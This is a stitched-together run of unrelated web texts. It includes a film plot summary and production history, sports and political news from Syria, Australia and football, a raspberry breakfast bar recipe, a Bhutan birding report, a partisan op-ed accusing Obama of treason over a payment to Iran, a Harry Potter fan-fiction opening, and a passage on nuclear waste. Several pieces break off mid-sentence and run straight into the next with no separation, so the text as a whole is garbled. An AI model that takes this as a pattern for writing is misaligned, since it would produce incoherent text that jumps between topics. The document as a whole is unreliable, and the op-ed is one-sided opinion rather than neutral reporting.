Jabez Stone (Alec Baldwin) is a desperate, down-on-his-luck writer who hits rock bottom when his close friend, Julius Jensen (Dan Aykroyd), finds success. In his attempts to get his work published, he meets a beautiful stranger (Jennifer Love Hewitt) who offers him a chance at fame and fortune in exchange for his soul. Stone, having lost faith in himself, agrees to the offer.
After accepting the deal Jabez is quickly lavished with all he had ever dreamed of: a book deal, money, women, notoriety, Stone now has it all. However, despite the success, he is losing the friendship, respect and trust of those around him. Coming to the realization that he did not quite get everything that he bargained for, Stone begs the devil to release him from their deal. When the devil scoffs, he turns to famed orator Daniel Webster (Anthony Hopkins). The two conclude that they should take the battle to court with Webster defending Stone in an otherworldly trial against the devil in the ultimate battle of wits in a fight over the fate of Stone's soul.
Cast [ edit ]
Production history [ edit ]
Shot in early 2001 in New York City, the film was plagued with financial difficulties. During post-production Baldwin had said the movie was taken from him.[1] Due to this and other creative differences, Baldwin had his name removed from the directing credit; the name was ultimately replaced with the pseudonym "Harry Kirkpatrick".[2] Bob Yari bought the film from a bankruptcy court for an undisclosed amount, which was said to be several million dollars. Once the film was cleared to be sold for distribution, a rough cut was screened at film festivals in 2003 and 2004, though much of the film's post-production work was not finished. The film needed further financing to complete the editing and special effects, as well as to replace temporary music.
In July 2006 it was announced that Yari's company would work on finishing the film.[3] In 2007 the Yari Film Group announced the acquisition of the film and distribution plans.[4]
Shortcut to Happiness has aired on Starz and Showtime.
Rating [ edit ]
This film is rated PG-13 by the MPAA for language and sexual content.
Reception [ edit ]
Shortcut to Happiness has received mostly negative reviews.[5]Jonah Hill thinks that it might be time to erase the proposed Men in Black and 21 Jump Street crossover film from your memory.
Earlier this year, Sony confirmed plans for MIB 23, and EW reported that The Muppets director James Bobin was in talks to helm the film. Despite the perceived progress on the unorthodox crossover, Hill says that he isn’t sure how realistic the project is. “I had the idea,” Hill told the Toronto Sun. “But I doubt the movie will get made.”
Hill, who has been given co-story credit on 21 Jump Street and 22 Jump Street, wondered if it was possible for such a big project to maintain the tone of the previous films. “They’re trying to make all the deals, but it’s kind of impossible with all the Men in Black stuff,” he said. “The Jump Street films were so fun to make, and the whole joke of them was they were making |
Such a dialogue is the only way to emerge from the crisis," it said.
Brahimi arrived in Damascus on Friday after a tour of Middle East capitals to build support for the ceasefire.
A range of countries including Iran, Iraq, Turkey and Germany have thrown their support behind the idea.
Syrian government forces and rebels have in the past both agreed to and then promptly violated internationally brokered ceasefires, and there is little indication that either is willing to stop fighting now.Homemade raspberry breakfast bars are a healthy way to fuel your day! These vegan-friendly baked bars are filled with fresh raspberries, jam, and oats. They make a great portable snack so you can grab and go anytime you need a quick bite.
Homemade raspberry breakfast bars are a morning lifesaver! During the weekday hustle when you don’t have time to make breakfast before leaving the nest, having something quick and ready to go is essential.
I make these whole-grain raspberry breakfast bars recipe on Sunday, so they are prepared and waiting for me and my family bright and early Monday morning. These nutritious snacks are layered with ripe raspberries and packed with fiber, just what you need to start your day off right!
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They say breakfast is the most important meal of the day, and I agree! When I have time in the morning, I like to make a delicious bowl of muesli, but when rushing out the door, I blend a healthy green smoothie to sip on the way to work. For my grab n’ go needs, these fruity breakfast bars are in the rotation.
For this recipe, everything is made in one pan and baked until crispy, just the way I like it. Let me show you how to make these delicious raspberry bars!
How to make raspberry breakfast bars
Do you eat Nutri-grain bars? If so, you’ll appreciate this homemade version since you’ll know exactly what goes in the recipe. The bar base is a simple mixture:
Whole Grains and Fiber: Old-fashioned oats and organic unbleached white whole wheat flour provide soluble and insoluble fiber for healthy digestion. Rolled oats are used instead of quick cooking oats, so the bars have a firm structure and do not become mushy.
Old-fashioned oats and organic unbleached white whole wheat flour provide soluble and insoluble fiber for healthy digestion. Rolled oats are used instead of quick cooking oats, so the bars have a firm structure and do not become mushy. Natural Sweetener: Pure maple syrup binds the base together and adds a sweet caramel flavor.
Pure maple syrup binds the base together and adds a sweet caramel flavor. Coconut Oil: For a tender cookie texture, coconut oil is added because it has a high amount of saturated fat, it is solid at room temperature and can be used similarly to butter for creaming with the sweetener. It’s also a vegan-friendly substitute for butter. You can use softened butter instead of coconut oil.
For a tender cookie texture, coconut oil is added because it has a high amount of saturated fat, it is solid at room temperature and can be used similarly to butter for creaming with the sweetener. It’s also a vegan-friendly substitute for butter. You can use softened butter instead of coconut oil. Leavening: Baking soda helps the breakfast bar base slightly rise while giving a crisp texture in the absence of eggs.
Baking soda helps the breakfast bar base slightly rise while giving a crisp texture in the absence of eggs. Add In’s: Crunchy almonds, vanilla, raspberry jam and fresh raspberries elevates the flavor of the breakfast bar base.
This wholesome mixture provides a cookie-like sandwich for the raspberry filling.
Half of the oat mixture is spread on the bottom the pan, then layered with some sweet and tangy raspberry jam. I used Knott’s Berry Farm seedless raspberry jam, instead of preserves to minimize the number of seeds getting stuck in your teeth, hehe.
I found it easy to spread the jam when it’s heated in the microwave for a few seconds until it is pourable but not completely melted. The rest of the bars and almonds are sprinkled on top, along with fresh ripe raspberries, and it’s time to bake!
Raspberries are beautiful ruby red fruit gems, super delicate and pack a flavor burst with each bite. Each berry contains a powerhouse of nutrients and fiber. Just one cup of raspberries contains around 1.5 g of protein and 8 g of dietary fiber and 64 calories.
The raspberries are the perfect filling and topping for these whole grain bars. If you are feeling ambitious, you can also make a chia jam for your filling!
Breakfast will never be the same once you try these homemade raspberry breakfast bars. It’s also perfect for the kiddos too, so grown-ups will need to be nice and share. You can also add any of your other favorite berries or jams like strawberries, blueberries or blackberries for some variety. No more excuses, breakfast is served!
What is White Whole Wheat Flour? White whole-wheat flour is milled from hard white spring wheat rather than traditional red wheat and still provides whole grains. Compared to red wheat, white wheat lacks some of the pigmentation in the bran layer of the wheat berry; since that pigment carries an astringent flavor, white wheat is lighter in both color and flavor. The result is baked goods will be lighter in color than using whole wheat, they will also have a milder taste and be less course in texture. You can use it for cookies, bars, bread, muffins, pancakes as a substitute for all-purpose white flour and whole wheat flour. (Source: King Arthur’s Flour)
Print Recipe 4.25 from 29 votes Homemade Raspberry Breakfast Bars Homemade raspberry breakfast bars are a healthy way to fuel your day! These vegan-friendly baked bars are filled with fresh raspberries, jam, and oats. Prep Time 15 mins Cook Time 25 mins Total Time 40 mins Servings: 21 servings Calories: 155 kcal Ingredients 1/2 cup coconut oil, softened to room temperature
, 3/4 cup pure maple syrup, or 1 cup brown sugar
, 1 teaspoon pure vanilla extract
1/2 cup sliced almonds, plus 2 tablespoons for topping
, 1 1/2 cups white whole wheat flour, or whole wheat flour
, 1 1/2 cups old fashioned oats
1/2 teaspoon ground cinnamon
1/2 teaspoon baking soda
1/4 teaspoon kosher salt
1 cup seedless raspberry jam, Knott’s Berry Farm
, 1 cup raspberries, fresh Instructions Preheat oven to 350°F. Line a 9x9 inch or 12.5x9 inch pan with foil, lightly grease the foil with vegetable oil or cooking spray. Set aside.
With a hand mixer or stand mixer with whisk attachment, beat coconut oil and maple syrup on medium-high speed for 2 to 3 minutes, until combined. Add the vanilla and whisk for 30 seconds until incorporated.
In a separate bowl, combine almonds, flour, oats, cinnamon, baking soda, and salt. Add the dry ingredients to the wet mixture and beat on low speed until blended and crumbly. Remove 1 1/4 cups of the mixture and set it aside.
Add the remaining mixture into the prepared pan. Use the bottom of a greased measuring cup or your fingers to press the mixture evenly into the pan. Slightly melt the jam in a microwave safe bowl for 15 seconds at a time, stirring in between and continuing to heat until the jam is easily spreadable. Spread the raspberry jam over the crust, and then top with raspberries, distribute the raspberries evenly throughout the pan. Sprinkle the reserved oat mixture over the top and 2 tablespoons of sliced almonds.
Bake for approximately 25 minutes, or until the top is light golden brown and the jam is bubbling around the edges. Cool completely before cutting into bars. Cut into equal sized squares. Store in an airtight container in the refrigerator for up to 5 days.Rainer and I recently finished our first of two back-to-back Rockjumper tours of Assam and Bhutan for the 2011 year. What a fabulous time we had! As usual, we were treated to sublime birds, excellent mammals, awesome Himalayan scenery and first class service by our Indian and Bhutanese friends. Some of the extremely memorable birds that were seen included five Ward’s Trogons, close and prolonged views of Beautiful Nuthatch, handsome Rufous-necked Hornbill on many occasions, exquisite and near-mythical Satyr Tragopan, of which four stunning males and one female were seen at close range for extended periods, three unseasonal Wallcreepers and regular encounters with Ibisbill.
Ward’s Trogon by Glen Valentine
We were particularly lucky to also find a total of five gorgeous Fire-tailed Myzornis, all five species of Scimitar Babbler – including Coral-billed and the bizarre Slender-billed Scimitar Babblers, an exceptionally showy Himalayan Monal, good numbers of Blood Pheasant, four species of Parrotbill, the elusive Long-billed Wren-Babbler and highly sought after Sikkim Wedge-billed Babbler, boldly-patterned Himalayan Cutia, two male Black-headed Shrike-Babblers, wonderful scope views of White-winged Duck and, to cap it all off, the rare and elusive White-bellied Heron, a lifer for both Rainer and I! We were both in awe of this mega rare bird and feel extremely privileged to have finally seen this awesome heron.
Blood Pheasant by Glen Valentine Some of the mammal highlights included abundant sightings of the magnificent Indian One-horned Rhinoceros, Indian Elephant, Water Buffalo, several troops of Golden Langur and the extremely rare Hodgson’s Giant Flying Squirrel! Bhutan is truly an other-worldly destination, and with its abundant forests teaming with legendary birds and mammals, plus a wealth of culture situated within a Himalayan paradise, it is surely unrivalled in many respects by any other country on earth!
Scaly-breasted Wren-Babbler by Glen ValentineSALT LAKE CITY — And so the parade of potential draft picks begins.
The Utah Jazz will host six players on Wednesday for their first pre-draft workout, leading up to the June 27 NBA draft.
The first group includes all college seniors. Underclassmen who declared for the draft are unable to work out for teams until after next week's draft lottery concludes.
Wednesday's bunch includes five guards and one forward: 6-foot-8, 215-pound G Russell Byrd, Master's College; 6-foot-4, 178-pound guard Denzel Livingston, Incarnate Word; 6-foot-9, 200-pound forward Maurice Ndour, Ohio; 6-foot-4, 210-pound guard D.J. Newbill, Penn State; 6-foot-4, 230-pound guard Rayvonte Rice, Illinois; and 6-foot-5, 203-pound guard Trey Zeigler, TCU.
This group will hope to replicate what Bryce Cotton did. The point guard worked out for the Jazz in their first pre-draft group last year and was later signed to a contract by Utah, even ending the season with a string of solid performances.
TWITTER: DJJazzyJodyBarack Obama might well have been right in saying this week that Donald Trump wasn’t qualified to be president.
But there is a problem — Obama isn’t qualified to make that judgement, and frankly with the revelations about his actions in supplicating America to the Iranian mullahs this week, it’s time to begin talking about what the personal consequences should be to himself and his team for what they’ve done.
Specifically at issue is the story, first reported this week by Fox News and the Wall Street Journal, that Obama secured the release of four Americans held hostage by the Iranians by flying in $400 million in grease-money to buy them back.
Apparently it was so much of a quid pro quo that perhaps the most famous of the four, Christian pastor Saeed Abedini, told the Fox Business Network Thursday that he and the others were made to wait at an airport for hours before release and when they asked about what the holdup to their release was, it was clearly the arrival of the money.
“[T]hey told us you’re going to be there for 20 minutes,” he told FBN’s Trish Regan. “But it took like hours and hours. We slept at the airport, and when I asked them why you don’t let us go, because the plane was there, pilot was there, everyone was ready that we leave the country, they said we are waiting for another plane, and until that plane doesn’t come, we never let you go.”
The plane finally did come. When it did, reports say it contained wooden pallets of paper currency — Swiss francs, Euros, and other notes totaling $400 million. The Wall Street Journal reported that the U.S. federal government secured the money from the central banks in the Netherlands and Switzerland, then flew it into Tehran — clearly to satisfy a condition of the release of Abedini and the others.
One would imagine that it would be a lot easier for the federal government to simply wire the money; if nothing else, there would be no reason to prolong the agony of the hostages at the airport.
So why didn’t that happen? National Review’s Andy McCarthy explains it pretty well…
Obama has long taken the view that the federal law making it a felony to provide material support to terrorism does not apply to the enormous aid and comfort he has provided to our Iranian enemy, the world’s leading state sponsor of anti-American jihadist terror. He evidently had qualms, however, about laws denying Iran access to the U.S. financial system, which bar transactions with Iran in U.S. dollars. To skirt these, the State Department recruited the Swiss and Dutch governments into Obama’s conspiracy. The equivalent of 400 million in U.S. dollars was transferred to their central banks in exchange for hard currency. The piles of euros and francs were then boxed up and flown to Tehran.
There is simply no plausible way to deny that McCarthy is correct Obama provided material support to terrorism by transferring that $400 million to Iran. If nothing else, that ransom money paved the way for the Iranians to snatch more Americans in hopes of another big payday from Stupid Uncle Sam. If you don’t agree, then tell that to the family of Baquer Namazi, an 80-year old diplomat who was kidnapped by the Iranians in February, after that ransom was paid. Namazi’s son, Siamak, an energy executive, had already been snatched last October.
Or tell it to the crew of the two swiftboats the Iranians snatched in the Persian Gulf back in the spring; we haven’t been told what was given to the Iranians in return for their release following the humiliation they were subjected to.
There was a time when paying ransom to the world’s leading state sponsor of terrorism and an avowed American enemy without notice to or permission of Congress, made in a way skirting U.S. law and outside the view of the American people, would have been viewed as treason, and those carrying it out would have been subject to a trial and a potential hanging.
There was a time. Apparently, that time has passed. We are now told that this is “old news” because it happened months ago, that this money was actually Iran’s money because it represented assets frozen by America during hostilities decades in the past, and that it wasn’t ransom because it was an installment on a $1.7 billion settlement the U.S. was to pay to Iran over those frozen assets which was a coincidence.
Tell that last bit to Abedini, who couldn’t board a plane out of Mehrabad Airport in Tehran until the money came in. Tell it to the Iranians, who insisted on the installment arriving before boarding that plane. And tell it to the mullahs who specifically claimed it as ransom, before snatching more Americans.
That leftist propagandists like those at Vox.com would attempt to spin Obama’s “Iransom” as normal, humdrum business is a good indication of just how far gone some Americans are. It’s also an indication of just how badly separated the current administration and its political allies are from American national interests.
There are even some peddling an equivocation between the $400 million and the Iran-Contra Affair, and saying that paying ransom to free American hostages is a time-honored practice going back to Ronald Reagan. But there are key differences; for one thing, Iran-Contra was a scandal, and these same people are insisting the current imbroglio was on the up and up. And for another, while what was alleged in Iran-Contra would have been illegal, there was an American interest served in selling the Iranians spare parts for fighter jets in exchange for hostages held by Hezbollah in Beirut; Iran was in the process of losing a war to Iraq, which at the time was a Soviet client state, and it was absolutely worth our while for that war to be as long and bloody as possible.
Where is the American interest being served here? Sure, Abedini is home, and we can all be glad about that. But his freedom has a bitter taste if it means the loss of père and fils Namazi, or dead Jews in Israel, Christians in Belgium, or even Muslims in Turkey thanks to Iranian-funded jihadist terror that $400 million will surely fuel.
Not to mention the terrible precedent set by this president. The refusal to pay ransom to jihadist bandits is what birthed the United States Marine Corps well more than 200 years ago, and yet now that refusal has been turned on its head. There will be many more Saeed Abedinis, and if this president and his equally corrupt ideological successor have their way, many more Euros and Swiss Francs flying in on jets at Mehrabad to reward their capture.
This must be punished by the American people. The laws bent and broken in this depraved bargain, disguised as a ministerial exchange, must be defended against those who perpetrated it. Our honor and national security are at stake.• Meire named as one of four Football League representatives • Belgian has been target of regular protests from Charlton fans
Katrien Meire, the controversial Charlton Athletic chief executive, has been appointed to the FA Council as one of four Football League representatives.
The 32-year-old Belgian lawyer, who took over the day-to-day running at The Valley in January 2014 after Roland Duchâtelet bought the south London club, has been met by widespread criticism from Charlton fans as the club were relegated to League One last season amid chaos on and off the pitch.
Nottingham Forest make bright start as Philippe Montanier gives youth a chance | Nick Miller Read more
The FA announced the makeup of the new council on Sunday night. Barry Bright leads the panel with David Gill as the acting chairman.
Ian Lenagan, the Football League chairman, Jim Rodwell of Scunthorpe and Fleetwood’s Steve Curwood join Meire as the council’s Football League representatives, with four remaining vacancies to be confirmed.
Meire has been subject to regular protests from Charlton fans and did “apologise for our mistakes” towards the end of last season. However, supporters remain disenchanted with the club. The atmosphere threatened to boil over towards the end of last season when, at a home game against Brighton, a group of fans had surrounded the directors’ box only to be met by a wall of security surrounding Meire following a couple of disruptions to the game.
Russell Slade has taken over as manager but Charlton opened their League One campaign with a 2-0 defeat at Bury on Saturday."On the basis of recent events both here in Australia and overseas, and provided the information that the Prime Minister spoke about was sound and accurate there is a strong case to raise the terror threat to extreme as quickly as possible," he said. Prime Minister Tony Abbott says the National Security Committee met on Tuesday. Credit:Andrew Meares The alert from the Prime Minister comes as the NSW Opposition Leader John Robertson resigned hours after moves began to dump him over revelations he signed a letter of request for gunman Monis In recent days Mr Byrne has also called for a judicial inquiry into events surrounding the Martin Place siege and in particular whether or not the intelligence or security agencies could have done anything more to prevent the siege from taking place. Mr Abbott emerged from the security briefings in Sydney to front a snap media conference, in which he urged Australians to celebrate Christmas as normal but be on guard for any suspicious activity.
"The briefing from the security agencies today indicated that there has been a heightened level of terrorist chatter in the aftermath of the Martin Place siege," Mr Abbott said. "That's why it's important that people remain alert and aware." ASIO and the Australian Federal Police recommended the national terrorism threat level be raised from "medium" to "high" in September, meaning a terrorism attack was regarded as "likely". Cafe manager Tori Johnson and barrister Katrina Dawson were killed when Man Haron Monis took 18 people hostage in the Lindt Cafe on the morning of December 15 and held them for 17 hours. Mr Abbott confirmed on Sunday that an anonymous caller phoned the National Security hotline the weekend before the siege, to warn them of Man Haron Monis' extreme views.
Mr Abbott said the call was followed up but "didn't reveal any imminent attack by this individual." He stressed the Commonwealth-State investigation, due to report by the end of January next year, would look into the matter, as part of its examination into whether the policing and security agencies dealt with the matter to the best of their ability. Mr Abbott said he had attended a memorial service for Ms Dawson "a brilliant and beautiful woman from a wonderful and accomplished family who has been cruelly snatched away from us". "As we prepare to join family and friends to celebrate Christmas we do need to be conscious of the fact that the terror threat remains high. There are people who would do us harm and who can do us harm," he said. He urged members of the public to report any suspicious behaviour to authorities.
"I do want to reassure you though that our law enforcement agencies and our police forces and our security agencies will be working around the clock to keep you as safe as possible over the holiday season, as they do at all times." Mr Abbott said the national security committee of the cabinet met for the first time on Tuesday afternoon following the swearing in of his new ministers. "It was important to me that they were fully briefed on the domestic and international security situation as quickly as possible," he said. The national security committee was briefed by the head of the Australian Security and Intelligence Organisation and the commissioner of the Australian Federal Police. Asked if the Martin Place siege had provoked further security threats, Mr Abbott said he would not speculate.
"In the wake of the Martin Place brush with terrorism there has been a heightened level of chatter amongst people who we would normally think of as terrorist sympathisers," he said. Mr Abbott has previously raised concerns about gunman Man Haron Monis falling through the security net. "One of the things we are doing is asking ourselves do we need to go back and have a look at people who have come to our attention previously and see what is best done to ensure that the community is as safe as it humanly can be. This is the assurance I constantly give to the Australian people. "The first duty of government is the safety of the community."Your favorite Jewish charity calls you on the phone. You haven’t renewed your membership, you’re told. What’s your credit card number, again?
You might want to think twice before giving it.
Jewish charities handed over a huge portion of the money they raised in telemarketing campaigns in New York in 2013 to for-profit telemarketing contractors, according to a March 4 report by the office of Eric Schneiderman, New York State’s attorney general.
B’nai B’rith International and the Anti-Defamation League each got less than 9% of what donors gave to their phone campaigns, according to the attorney general’s figures. Those are terrible results: Three-quarters of the campaigns included in the attorney general’s report kept larger shares.
B’nai B’rith disputed Schneiderman’s numbers, saying they included incomplete figures. The organization said that it actually got 29% of the donated dollars.
Other Jewish charities reported similarly dismal figures: An AIPAC fundraising campaign using a for-profit telemarketer raised $173,000 from donors, but only 55% went to AIPAC. The Jewish Federations of North America got 58% of the $87,000 donated to it, while the Jewish Museum got 54% of the $104,000 donors gave. The Birthright Israel Foundation did better: Of the $24,000 it raised in its small campaign, 71% made its way to the charity’s coffers.
“It’s a shame to find a cause that you believe in and find that your hard-earned dollars aren’t going to support that cause,” said Mark Charendoff, president of the Maimonides Fund. “Grandma should know — I hate to say it, but Grandma shouldn’t be… giving over the phone.”
The Jewish charity telemarketing campaigns listed in the attorney general’s report are relatively small in comparison with those run by some non-Jewish charities: The National Rifle Association, for instance, got $12 million from donors in a single campaign, 41% of which went to the NRA. Yet the Jewish campaigns do represent a large number of donor dollars in aggregate. By Schneiderman’s office’s count, of the $554,000 donated to the six Jewish charities through telemarketers, just 41% made it to charitable coffers.
The rest went to an array of for-profit telemarketing firms. The companies are, by nature, low-profile outfits. Few list executives on their websites. Of the five individual firms that ran campaigns for the six Jewish charities listed in the attorney general’s report, four did not respond to inquiries from the Forward and one declined to comment.
The firms are spread out over the country. Telefund Inc., which ran one ADL campaign, appears to be based in Illinois, but has offices in Boston and Denver, among other cities. Donor Services Group, which ran the B’nai B’rith campaign, is based in California.
Due, in part, to poor returns, some of the Jewish groups have dropped the telemarketers since 2013. The ADL said that it had stopped using telemarketers because of bad results that year, as did the Birthright Israel Foundation. A representative for JFNA said that the group had run a two-year pilot telemarketing program that was discontinued after 2013.
Other charities defended the practice.
“The Jewish Museum has utilized [the telemarketing firm] DCM on four fundraising campaigns and the results have been very good,” a Jewish Museum spokeswoman said in a statement. “We use telemarketing as a tool to encourage lapsed Jewish Museum members to renew their memberships and/or to upgrade to higher levels of membership, which allow them to enjoy higher benefit levels.”
B’nai B’rith, too, defended the practice. “B’nai B’rith utilizes such firms only to renew donors who have not responded to traditional methods such as direct mail, and in doing so has been very successful over the years in renewing thousands of donors,” a spokeswoman wrote in a statement. “We are constantly evaluating our fundraising methods, and the New York State annual report on telemarketing campaigns will serve as a useful reference for our future fundraising efforts.” AIPAC did not respond to an inquiry from the Forward.
The U.S. Supreme Court has repeatedly deemed as unconstitutional state laws that set limits on the percentage of donations a paid fundraiser can retain. Another Supreme Court decision found that states cannot require paid fundraisers to disclose the percentage they take. Some states, including New York, do require that telemarketers say that they work for a professional fundraiser and not for the organization for which they are fundraising.
According to Schneiderman’s figures, only 33 of the 573 telemarketing campaigns in New York in 2013 gave 70% or more of the money donated to the intended charity.
“Anytime you’re asked to donate to anything, particularly if it’s a phone solicitation, it’s legitimate to ask the question, ‘What’s your take as a fundraiser?’” said Mark I. Rosen, a professor in Brandeis University’s Hornstein Jewish Professional Leadership Program. “It just doesn’t occur to people that there’s somebody who is making a living doing this that doesn’t work for the charity.”
Contact Josh Nathan-Kazis at nathankazis@forward.com or on Twitter, @joshnathankazis
This story "Want To Give to Jewish Charities? Don't Do It Over the Phone." was written by Josh Nathan-Kazis.The U.N. envoy to Syria has in effect ditched the Geneva negotiation framework and is pursuing a bottom-up approach that will leave the fate of Syrian President Assad to the end of a two-year "decentralized" political process, a newspaper report maintained Tuesday.
The 2012 Geneva framework stipulates the formation of a transitional executive authority "with full powers," with Assad expected to play no role in a postconflict Syria.
The Syrian government has in recent months stepped up its airstrikes against ISIS-held towns dotted across northern and eastern Syria, but most of the casualties have been civilians.
On the border with Turkey further north, Kurdish fighters captured six buildings from ISIS militants besieging the town of Ain al-Arab and seized a large haul of their weapons and ammunition, the Observatory said.
The clashes killed around 13 ISIS militants, including two senior fighters who had been helping to lead the militant group's assault on the town, he said.
...(Jonathan Newton/The Washington Post)
The Washington Redskins re-signed defensive end Doug Worthington to a one-year deal this week, a person with knowledge of the situation confirmed.
Worthington missed all of last season after suffering a torn biceps tendon last June at the end of offseason workouts.
He was an exclusive-rights free agent, which prevented him from negotiating with other teams, and agreed to a one-year tender worth $495,000.
Listed with the NFL as a second-year player because he has appeared in only six games in his career, Worthington was selected in the seventh round out of Ohio State by the Pittsburgh Steelers in 2010. He had brief stints with the Steelers and Tampa Bay Buccaneers, but didn’t play in any games. He signed to Washington’s practice squad in 2011 and spent a portion of the 2012 campaign on the practice squad again before being promoted to the 53-man roster when fellow defensive end Adam Carriker was lost for the season with an injury.
The 6-foot-5, 311-pound Worthington, 26, has recorded two tackles and one pass deflection in six career games.
Worthington is now fully recovered from the injury that cost him all of last season.AS IT adjusts to the end of its run of sustained, double-digit rates of annual economic growth, China is staking a great deal on the idea that growth and urbanisation are linked. It has made continued urbanisation a pillar of the government’s long-term strategy for rebalancing. But policymakers who put so many of their hopeful eggs in this basket must also consider a vexing chicken-and-egg question: is it urbanisation that causes growth, or is it the other way round? In a paper released in July, two scholars argue that “the direction of causality likely runs from growth to urbanisaton, rather than vice versa.”
There are caveats galore about their findings, especially as they relate to China. The scholars, Anett Hofmann of the London School of Economics and Guanghua Wan of the Asian Development Bank, seek not only to determine the impact of economic growth on urbanisation, but also that of industrialisation and education. And, while they seek and find indications that growth causes urbanisation, they do not themselves investigate the reverse sort of causality. They leave off noting instead that “attempts to identify a causal effect of urbanisation on growth have so far been unsuccessful” [emphasis theirs].
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More relevant still is the fact that China is not betting the farm, as it were, on urbanisation. True, some influential figures have hinted at the belief that it might be sufficient as a spur to future growth. For instance Zhang Liqun, of the State Council’s Development Research Centre, recently said that "the growth momentum gained from the processes of industrialisation and urbanisation alone will support the country's steady growth."
But the senior leader most closely identified with the idea is the current prime minister, Li Keqiang, and he has outlined a more nuanced position. Elaborating his position in an article published in May in a theoretical journal of the Communist Party, Qiu Shi (here in Chinese), Mr Li wrote that “China is experiencing exponential urban growth which will spur investment and consumption and play a significant role in expanding domestic demand.”
His formulation involves more than a simple “urbanisation-causes-growth” assumption. Under China’s current circumstances, there is plenty of reason to believe he is onto something. Rather than counting on urbanisation to boost growth directly, through increased production or higher efficiency say, the hope is that it will raise the economy’s consumption share—a key goal of China’s overall restructuring effort.
In doing the sums for his article, Mr Li started with data showing that in 2010 China’s urban residents spent 3.6 times more per capita than did their country cousins. He concluded that every rural resident who moves to a city will increase consumption by an average of 10,000 yuan ($1,631). Multiplying by the 10m rural residents he expects might be absorbed into cities in a single year, he predicted that “this will, in turn, translate into consumption totalling more than 100 billion yuan and correspondingly create more investment opportunities.”
With or without the government’s encouragement, the process of urbanisation has been moving at great speed. At the end of 2011, China crossed an important threshold when, for the first time in history, its city-dwellers became the majority. In 1980 they accounted for only one fifth of the population.
And while policy will have an effect on the pace, robust urbanisation will almost certainly continue no matter what the government does. Even scholars who have been supportive of China’s drive for urbanisation are wary of its pace. In a paper from 2005 titled “Are Chinese cities too small?” Chun-Chung Au and J. Vernon Henderson, of Brown University in America, conclude that many of China’s cities were “significantly undersized” and that cost the economy in terms of both productivity and worker income. However they were careful to qualify that view: “the recommendation here is not to suddenly increase the sizes of all cities by enormous magnitudes overnight.” Whether it is truly the chicken or the egg that comes first, eggs must always be placed in the basket with care.
(Picture credit: AFP)
Clarification: the wording of the second paragraph of this story has been slightly modified to explain better the findings of the paper.','
The Dark Lord's Equal
by Lens of Sanity
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"Changing history to suit your purposes has a long and successful history" – Rorschach's Blot
June 18th 1996: Ministry of Magic, Level 9, the Department of Mysteries, Death Chamber
20:58 Sidereal Time
I have no idea what's going on, it's chaos. Harry is twelve inches in front of me, he looks terrible, bloody slash across his face and a wild look of desperation flitting across his eyes. I am not going to let him down, he's just hit Dolohov with a Petrificus Totalus curse, Dolohov for Merlin's sake, he's something like the fourth most dangerous person in the world right now and Harry clocks him without a second thought.
I'm still recovering from this Tarantallegra, my nose and right wrist are still busted, and worse, that fucking bitch Bellatrix LeStrange is within spitting distance. Looks like Harry was right, Sirius Black really must be one of the good guys, anyone fighting that twisted wreck of humanity is alright in my book.
"Come on!" he yells in desperation, dragging me to my feet with clearly waning strength "Just try and push with your legs-"
He heaves again and my robes tear along the left seam, and we both watch in slow motion as the small spun-glass ball drops to the ground. In an unholy turn of events my left foot gives one final involuntary kick just at the wrong moment and the prophesy sails inevitably toward the cold unforgiving floor ten feet from where we stand.
Well done there Longbottom, way to do the family proud. It's not like that little glass ball is at all important, not like there's a Dark Lord and twenty murderous terrorists going to any trouble to collect the thing. No no, you can buy three of them for a Knut down Knockturn Alley. Face it Longbottom, you're just no damn good.
"Harry, Fb sorry!" I say as he locks eyes with me. What I see in that gaze is unexpected.
Locked into the green eyed stare it's like time grinds to a crawl, I could see a hummingbird's wings or catch a snitch using two fingers. Across his eyes little black flecks begin swirling like a raging blizzard until they are unbroken jet black, and then from the opposite direction the same blizzard begins in jade. He blinks and a new look crosses his face as time and the chaos around us crashes back to normal.
"Hey, Neville mate..." he flashes a shit kickin' grin totally out of nowhere, and turning back toward the fray he finishes "...watch this"
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Well I'll be damned, it worked. Oh, and secondly that was one weird-ass sensation; much like being transfigured into a fine mist, and right as you are about to blow away in the breeze your body snaps back together. Not painful per-say, but definitely maxing out on the weirdness meter.
I take stock of myself and my surroundings, low end physical and magical exhaustion, a few bumps, bruises, and a deep little gash across my left cheek. I can feel more than a dozen magical cores actively fighting, and I have a very young, very nervous looking Neville Longbottom staring me in the face. Okey-dokey, Department of Mysteries Battle it is then.
Fantastic!
"Hey, Neville mate... watch this" I spin round and bring eleven inches of phoenix wand to bear on whoever is foolish enough to get in my way.
I run a practiced eye over the area, taking stock of the double handful of combatants, as well as note that Albus Dumbledore has taken the time to properly backlight himself against the doorframe, outlined in his most heroic pose. Enough of that foolishness, I've seen this memory enough times to know Padfoot is acting like a jackass and has about twenty seconds to live.
I spring forward and unleash a well drilled spell-chain designed |
which is incorporated into borosilicate (Pyrex) glass to immobilise it. The glass is then poured into stainless steel canisters, each holding 400 kg of glass. A year's waste from a 1000 MWe reactor is contained in five tonnes of such glass, or about 12 canisters 1.3 metres high and 0.4 metres in diameter. These can readily be transported and stored, with appropriate shielding.
The uranium enrichment process leads to the production of much 'depleted' uranium, in which the concentration of U-235 is significantly less than the 0.7% found in nature. Small quantities of this material, which is primarily U-238, are used in applications where high density material is required, including radiation shielding and some is used in the production of MOX fuel. While U-238 is not fissile it is a low specific activity radioactive material and some precautions must, therefore, be taken in its storage or disposal.
See page on Waste Management in the Nuclear Fuel Cycle.
Used fuel and separated wastes: final disposal
At the present time, there are no disposal facilities (as opposed to storage facilities) in operation in which used fuel, not destined for reprocessing, and the waste from reprocessing, can be placed. In either case the material is in a solid, stable wasteform.
Although technical issues related to disposal are straightforward, there is currently no pressing technical need to establish such facilities, as the total volume of such wastes is relatively small. Further, the longer it is stored the easier it is to handle, due to the progressive decrease of radioactivity.
There is also a reluctance to dispose of used fuel because it represents a significant energy resource which could be reprocessed at a later date to allow recycling of the uranium and plutonium.
A number of countries are carrying out studies to determine the optimum approach to the disposal of used fuel and wastes from reprocessing. The general consensus favours its placement into deep geological repositories, about 500 metres down, initially recoverable before being permanently sealed.
Other Sources of Nuclear Fuel
In the 1990s uranium mines gained a competitor, in many ways very welcome, as military uranium came on to the civil market under a US-Russian agreement. Since then half of the uranium used for electricity in the USA has come from Russian military stockpiles, and worldwide about one sixth of the market has been supplied thus.
Weapons-grade uranium in stockpiles built up during 1950s and 1960s has been enriched to more than 90% U-235 and must be diluted about 1:25 or 1:30 with depleted uranium (about 0.3% U-235). This means that progressively, Russian and other stockpiles of weapons material are used to produce electricity.
